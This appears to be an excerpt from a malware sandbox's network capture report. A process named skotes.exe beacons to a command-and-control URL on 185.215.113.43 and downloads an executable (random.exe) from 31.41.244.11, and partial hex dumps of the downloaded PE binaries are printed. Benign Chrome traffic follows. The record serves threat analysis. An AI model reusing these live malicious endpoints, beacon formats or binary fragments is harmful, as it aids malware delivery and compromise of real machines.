Dec 18, 2024 15:22:29.455143929 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:22:29 GMT Content-Type: application/octet-stream Content-Length: 765568 Last-Modified: Tue, 17 Dec 2024 09:46:16 GMT Connection: keep-alive ETag: "67614868-bae80" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 09 00 a3 1e 60 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 00 00 aa 01 00 00 c0 00 00 00 00 00 00 52 59 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 0b 00 00 08 00 00 00 00 00 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 37 02 00 3c 00 00 00 00 a0 02 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 80 0b 00 80 2e 00 00 00 b0 02 00 40 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 fe 01 00 18 00 00 00 e8 cd 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 28 39 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL`g"RY@@7<.@X(9T.text `.rdata$@@.datal"P>@.bsSST `.tlsV@.rsrcX@@.reloc@Z@B.bsst@.bss`@
Dec 18, 2024 15:22:29.455183029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 15:22:29.455197096 CET	1236	IN	Data Raw: ec 30 8b 5c 24 44 a1 c0 57 42 00 31 e0 89 44 24 2c 8b 43 3c 8b 6c 18 78 8b 44 1d 18 85 c0 0f 84 4f 01 00 00 8b 4c 1d 20 01 d9 89 4c 24 08 48 89 44 24 10 c7 04 24 00 00 00 00 89 5c 24 04 89 6c 24 0c 8b 44 24 08 8b 30 01 de 0f 57 c0 f2 0f 11 44 24 Data Ascii: 0\$DWB1D$,C<lxDOL L$HD$$\$l$D$0WD$$WD$V(w"\|$$D$(WVt$VfSCErPPD$\|$$l$(WVPe\$Dl$t$h5Vm
Dec 18, 2024 15:22:29.455293894 CET	1236	IN	Data Raw: f0 68 6d 64 85 93 ff 35 6c 64 42 00 e8 16 fb ff ff 83 c4 08 89 45 e4 8b 55 e4 ff d2 bb 49 05 00 00 be 11 50 42 00 6a 11 68 00 50 42 00 53 56 e8 96 fc ff ff 83 c4 10 6a 0a 68 00 c0 41 00 57 8b 7d 08 57 e8 82 fc ff ff 83 c4 10 68 01 dc af 8a ff 35 Data Ascii: hmd5ldBEUIPBjhPBSVjhAW}Wh5ldBMQj@SVuM11^_[]}uVPB'jT9BUSWV,\$@WB1D$(d=0w@ldBhb-/5ldBE(AD$
Dec 18, 2024 15:22:29.455327988 CET	896	IN	Data Raw: 42 00 31 e0 89 44 24 08 8b 01 8b 40 04 8b 7c 01 38 85 ff 74 48 89 e3 89 d9 56 e8 1a ff ff ff 80 7b 04 00 74 31 8b 07 89 f9 ff 50 34 83 f8 ff 0f 94 c0 8b 0e 8b 51 04 8d 0c 16 83 7c 16 38 00 0f 94 c4 08 c4 0f b6 c4 c1 e0 02 0b 44 16 0c 6a 00 50 e8 Data Ascii: B1D$@\|8tHV{t1P4Q\|8DjPnL$1^_[WV D$,WB1T$A#AuL$1 ^_\|$0t1PP?BBDBD@Bt$RWhABV?
Dec 18, 2024 15:22:29.455352068 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 18, 2024 15:22:29.455363035 CET	1236	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1HT
Dec 18, 2024 15:22:29.455369949 CET	1236	IN	Data Raw: 57 56 8b 5c 24 14 8b 74 24 10 39 de 74 1b 89 cf 83 c7 08 0f b6 06 57 50 e8 f6 21 00 00 83 c4 08 88 06 46 39 de 75 ec 89 de 89 f0 5e 5f 5b c2 08 00 0f b6 44 24 04 83 c1 08 51 50 e8 d3 21 00 00 83 c4 08 c2 04 00 cc 56 8b 44 24 08 8b 74 24 0c 89 f1 Data Ascii: WV\$t$9tWP!F9u^_[D$QP!VD$t$)QPt$tO^D$VD$t$)QPt$JO^D$Vy~vxv^FtPVD$(A1VVQP78
Dec 18, 2024 15:22:29.455574989 CET	1236	IN	Data Raw: 7d 00 00 59 85 c0 75 0f 68 ac 64 42 00 e8 d8 7d 00 00 59 85 c0 74 2b 32 c0 eb 30 83 c9 ff 89 0d a0 64 42 00 89 0d a4 64 42 00 89 0d a8 64 42 00 89 0d ac 64 42 00 89 0d b0 64 42 00 89 0d b4 64 42 00 c6 05 9d 64 42 00 01 b0 01 5e 5d c3 6a 05 e8 8a Data Ascii: }YuhdB}Yt+20dBdBdBdBdBdBdB^]j#UEVH<AQAk(J9MrB9Er(;u3^]UEVu}kdBP$Y^]x}kdBP$Y3W@
Dec 18, 2024 15:22:29.455586910 CET	896	IN	Data Raw: ac 65 42 00 e8 ad ff ff ff 83 25 ac 65 42 00 00 59 8d 4d fc e8 dc fb ff ff c9 c3 55 8b ec 8b 4d 08 b8 d8 c8 41 00 39 08 74 11 83 c0 08 3d 50 cb 41 00 75 f2 b8 24 07 42 00 5d c3 8b 40 04 5d c3 55 8b ec 51 51 8b 45 08 56 8b f1 89 45 f8 8d 45 f8 c6 Data Ascii: eB%eBYMUMA9t=PAu$B]@]UQQEVEEEV(A"bRP/YY^aaABAA(API/YUMhBBEP(UMuwhBBEP(UMuhCBE
Dec 18, 2024 15:22:29.576895952 CET	1236	IN	Data Raw: 85 c9 74 0b 8b 41 18 85 c0 75 09 8d 41 1c c3 b8 53 03 42 00 c3 56 57 8b f9 8b 07 8b 70 0c 8b ce ff 15 10 37 42 00 8b cf ff d6 5f 5e c3 33 c0 40 c3 33 c0 c7 01 6c cb 41 00 89 41 08 89 41 0c 89 41 10 89 41 14 89 41 18 89 41 1c 89 41 20 89 41 24 89 Data Ascii: tAuASBVWp7B_^3@3lAAAAAAAA A$A(A,A0jA3FSS^0^^F^^ ^$^(^,jYtj]YG~0UjhAdPVWB3PEdeV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49925	185.215.113.43	80	7364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:22:33.637120962 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016923001&unit=246122658369
Dec 18, 2024 15:22:34.972939014 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:22:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49926	31.41.244.11	80	7364	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:22:35.097966909 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 15:22:36.426707029 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 14:22:36 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 18, 2024 15:22:36.426763058 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 18, 2024 15:22:36.426774979 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 18, 2024 15:22:36.426786900 CET	224	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3
Dec 18, 2024 15:22:36.426819086 CET	1236	IN	Data Raw: 56 8b f1 8d 4e 08 c7 06 58 a5 41 00 e8 fa 0a 01 00 f6 44 24 08 01 74 07 56 e8 f1 79 01 00 59 8b c6 5e c2 04 00 55 8b ec 51 56 57 ff 75 08 8b f1 8d 4e 0c e8 26 1e 01 00 ff 75 0c 8d 7e 10 8b cf e8 63 fb ff ff 6a 5c 8b cf e8 ec fe ff ff 33 ff 8d 45 Data Ascii: VNXAD$tVyY^UQVWuN&u~cj\3EPWVh<@WW5dA=lAA=AhAtsj5hAAlA;=XAt2t!ttg~k~}PjKjjjW\|YYd9=`Au\EP5hAAMt;u
Dec 18, 2024 15:22:36.426918030 CET	1236	IN	Data Raw: 48 08 89 78 10 89 78 14 e8 2c 07 01 00 84 c0 0f 85 b0 00 00 00 ff 15 98 a1 41 00 53 8d 4d e4 89 45 08 e8 7b f6 ff ff 8d 45 e4 50 e8 5e 16 00 00 3b c7 59 7d 3b ff 75 08 8b 06 6a 6a 56 ff 50 20 ff 75 e4 8b f0 e8 f1 74 01 00 8b 45 0c 3b c7 59 74 06 Data Ascii: Hxx,ASME{EP^;Y};ujjVP utE;YtPQMutYMf<AuE6YujhVPF jSHxxuAPjjVS uwtYuMVEM0g#E8>AP
Dec 18, 2024 15:22:36.426932096 CET	1236	IN	Data Raw: 6a 18 ff 75 08 ff 15 40 a0 41 00 57 53 ff 75 d8 ff d6 57 53 ff 75 dc 89 45 f4 ff d6 ff 75 fc 8b 35 18 a0 41 00 89 45 f8 ff d6 ff 75 fc 8b d8 ff d6 ff 75 08 8b 35 38 a0 41 00 53 8b f8 ff d6 ff 75 f8 89 45 f0 ff 75 f4 ff 75 fc ff 15 34 a0 41 00 50 Data Ascii: ju@AWSuWSuEu5AEuu58ASuEuu4APWjWE<Ah u3uPPSuuPPW,AjW(AuESuW5$ASWujAEuWAWWWWuTA_^[UhSVWj@EPuA-h
Dec 18, 2024 15:22:36.427037001 CET	1236	IN	Data Raw: 83 25 84 e9 41 00 00 c3 83 25 84 e9 41 00 00 68 60 a6 41 00 68 c4 a5 41 00 ff 15 68 a1 41 00 50 ff 15 6c a1 41 00 85 c0 74 11 68 88 e9 41 00 ff d0 c7 05 84 e9 41 00 01 00 00 00 c3 56 8b 74 24 08 85 f6 75 05 33 c0 40 5e c3 e8 3f ff ff ff 83 f8 09 Data Ascii: %A%Ah`AhAhAPlAthAAVt$u3@^?uuu@;t3^US3EPSSSSSSh j jEP]]]]]]]EAtEPuSAuAE[UEVpEtKQ;SW}=3~'4<
Dec 18, 2024 15:22:36.427059889 CET	1236	IN	Data Raw: 5e c2 04 00 53 56 8b f1 8b 06 33 db 57 8b 7c 24 10 89 5e 04 88 18 38 1f 74 07 43 80 3c 3b 00 75 f9 53 e8 33 fc ff ff 8b 06 8a 0f 88 08 40 47 84 c9 75 f6 5f 89 5e 04 8b c6 5e 5b c2 04 00 56 57 8b 7c 24 0c 8b f1 3b fe 74 25 83 66 04 00 8b 06 c6 00 Data Ascii: ^SV3W\|$^8tC<;uS3@Gu_^^[VW\|$;t%fw@AuGF_^Vj&NT$FF^SVW\|$38tC<;uSF@Gu^_^[VW\|$wF@A
Dec 18, 2024 15:22:36.427073956 CET	1236	IN	Data Raw: 8d 45 f4 50 e8 46 fd ff ff 83 c4 0c 80 7d 10 00 5f 5e ff 75 f4 75 14 ff 35 80 e0 41 00 6a 0b 6a 00 e8 61 65 00 00 83 c4 10 eb 0c 6a 20 6a 00 e8 53 65 00 00 83 c4 0c ff 75 f4 e8 ac 61 01 00 ff 75 e8 e8 a4 61 01 00 59 32 c0 59 c9 c3 55 8b ec 83 ec Data Ascii: EPF}_^uu5Ajjaej jSeuauaY2YU4VWME0>fS^f~Ff=xufS1Y\|[PMMjEPEPPMu&aYEPMkuauaYYKFf=X
Dec 18, 2024 15:22:36.547461033 CET	1236	IN	Data Raw: 61 04 00 00 57 ff d6 ff 75 dc e8 08 5d 01 00 ff 75 e8 e8 00 5d 01 00 59 59 8b c7 e9 18 ff ff ff 55 8b ec 51 53 56 57 8b 3d 28 a1 41 00 6a 01 8d 45 fc 50 ff 75 0c ff d7 8b 75 08 8b ce 8b d8 e8 54 df ff ff 8d 43 02 50 8b ce 89 45 08 e8 fb f4 ff ff Data Ascii: aWu]u]YYUQSVW=(AjEPuuTCPECSuPu>Wf$GYF_^[Vj\Ytt$3P.^UVF9EW~EMyt5WEPe3~MSUfBf@AA;\|[~

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	142.250.181.132	443	7200	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:20:51 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 14:20:52 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:20:51 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-likwUxkfx5JgJojHYm2CXA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-18 14:20:52 UTC	124	IN	Data Raw: 37 35 61 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 64 72 61 63 6f 20 72 61 63 65 20 62 6c 6f 78 20 66 72 75 69 74 73 22 2c 22 67 65 6f 72 67 69 61 20 62 75 6c 6c 64 6f 67 73 20 66 6f 6f 74 62 61 6c 6c 22 2c 22 73 74 6f 72 6d 79 20 77 65 61 74 68 65 72 20 63 68 72 69 73 74 6d 61 73 20 74 72 61 76 65 6c 20 66 6f 72 65 63 61 73 74 22 2c 22 70 72 69 6e 78 20 63 68 65 6e 67 73 Data Ascii: 75a)]}'["",["draco race blox fruits","georgia bulldogs football","stormy weather christmas travel forecast","prinx chengs
2024-12-18 14:20:52 UTC	1390	IN	Data Raw: 68 61 6e 20 77 69 6e 74 65 72 20 74 69 72 65 20 72 65 63 61 6c 6c 22 2c 22 73 61 6d 73 75 6e 67 20 67 61 6c 61 78 79 20 67 61 6c 61 78 79 20 73 32 35 20 75 6c 74 72 61 22 2c 22 76 65 72 6d 6f 6e 74 20 73 6f 63 63 65 72 20 6e 63 61 61 20 63 68 61 6d 70 69 6f 6e 73 68 69 70 22 2c 22 77 68 61 74 20 77 65 20 64 6f 20 69 6e 20 74 68 65 20 73 68 61 64 6f 77 73 20 73 65 72 69 65 73 20 66 69 6e 61 6c 65 22 2c 22 72 69 70 70 6c 65 20 78 72 70 20 6e 65 77 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 Data Ascii: han winter tire recall","samsung galaxy galaxy s25 ultra","vermont soccer ncaa championship","what we do in the shadows series finale","ripple xrp news"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgI
2024-12-18 14:20:52 UTC	375	IN	Data Raw: 6e 70 42 57 54 5a 4d 55 47 68 55 53 57 4e 4b 64 45 31 6b 64 31 63 72 4d 47 56 4e 59 69 39 6f 56 43 39 47 56 33 52 6f 55 57 4e 4f 4f 46 6c 50 51 56 42 57 4e 54 6c 71 52 47 5a 4a 54 45 74 51 54 69 74 71 64 6a 6c 6e 51 55 39 44 5a 56 45 72 56 45 74 4b 65 6b 4e 6d 52 56 56 70 56 6a 4d 33 51 30 68 43 4e 46 42 57 52 6d 39 77 4b 32 31 6b 62 6c 42 42 5a 33 4a 52 4c 30 64 6d 57 55 4a 69 51 55 68 51 53 30 70 4b 5a 32 49 32 65 45 31 6b 51 55 4e 52 63 6d 4d 78 61 32 5a 52 52 6a 56 7a 63 6a 64 42 5a 32 78 46 64 44 6c 69 52 58 6c 61 51 6b 67 7a 65 46 56 33 5a 32 70 5a 51 57 56 52 65 58 41 7a 55 6a 6b 72 63 48 52 47 53 45 77 31 51 6d 5a 44 65 45 68 32 56 44 42 6b 56 56 56 33 59 58 46 4d 64 58 51 72 55 56 68 7a 51 6a 5a 51 53 31 59 78 52 6d 39 35 62 6b 4a 72 63 7a 56 4c Data Ascii: npBWTZMUGhUSWNKdE1kd1crMGVNYi9oVC9GV3RoUWNOOFlPQVBWNTlqRGZJTEtQTitqdjlnQU9DZVErVEtKekNmRVVpVjM3Q0hCNFBWRm9wK21kblBBZ3JRL0dmWUJiQUhQS0pKZ2I2eE1kQUNRcmMxa2ZRRjVzcjdBZ2xFdDliRXlaQkgzeFV3Z2pZQWVReXAzUjkrcHRGSEw1QmZDeEh2VDBkVVV3YXFMdXQrUVhzQjZQS1YxRm95bkJrczVL
2024-12-18 14:20:52 UTC	90	IN	Data Raw: 35 34 0d 0a 39 4c 61 45 68 71 55 6b 4a 76 52 6b 6c 68 4d 6d 35 43 56 45 4d 78 51 58 56 36 65 6d 5a 4f 52 47 5a 58 64 30 70 6a 4f 47 6c 49 5a 58 70 56 54 44 51 78 63 57 34 78 51 54 56 52 5a 44 64 61 62 33 52 78 61 56 52 6d 4c 7a 6c 59 5a 6a 4e 45 51 6d 46 45 54 45 0d 0a Data Ascii: 549LaEhqUkJvRklhMm5CVEMxQXV6emZORGZXd0pjOGlIZXpVTDQxcW4xQTVRZDdab3RxaVRmLzlYZjNEQmFETE
2024-12-18 14:20:52 UTC	987	IN	Data Raw: 33 64 34 0d 0a 35 50 4e 57 68 68 4e 54 46 56 56 6a 6c 6d 4d 32 35 57 61 44 68 42 55 6d 46 59 55 46 6c 6b 4d 32 74 54 61 6b 39 47 53 58 42 54 4f 54 46 4c 62 6d 56 78 64 6e 4a 6a 59 54 68 49 63 31 64 69 4e 30 31 77 62 6b 52 51 52 7a 4a 32 57 43 73 76 56 6d 45 76 55 56 5a 4b 5a 55 78 30 63 45 5a 46 64 33 6c 45 65 69 73 35 4d 6b 52 35 61 32 4e 55 61 6d 5a 59 4e 31 68 51 57 6a 67 77 59 6d 4a 6f 54 33 67 76 53 6d 4d 30 55 6b 78 45 64 46 68 4b 64 45 74 6a 4d 48 46 4f 62 44 46 61 4e 7a 64 45 59 6b 6c 52 64 57 39 4c 4d 33 68 6f 65 57 6c 30 54 6b 35 43 52 6d 67 32 5a 46 4e 6a 56 6b 78 45 64 45 56 34 5a 69 39 43 4f 55 46 6d 63 32 46 79 59 6b 70 36 5a 6c 4e 72 55 56 68 7a 64 6b 78 68 65 45 6f 79 55 33 45 79 61 58 4a 54 4f 58 55 79 62 48 68 68 65 58 4a 7a 62 48 41 7a Data Ascii: 3d45PNWhhNTFVVjlmM25WaDhBUmFYUFlkM2tTak9GSXBTOTFLbmVxdnJjYThIc1diN01wbkRQRzJ2WCsvVmEvUVZKZUx0cEZFd3lEeis5MkR5a2NUamZYN1hQWjgwYmJoT3gvSmM0UkxEdFhKdEtjMHFObDFaNzdEYklRdW9LM3hoeWl0Tk5CRmg2ZFNjVkxEdEV4Zi9COUFmc2FyYkp6ZlNrUVhzdkxheEoyU3EyaXJTOXUybHhheXJzbHAz
2024-12-18 14:20:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49707	142.250.181.132	443	7200	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:20:51 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	142.250.181.132	443	7200	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:20:51 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 14:20:52 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 18 Dec 2024 14:20:51 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
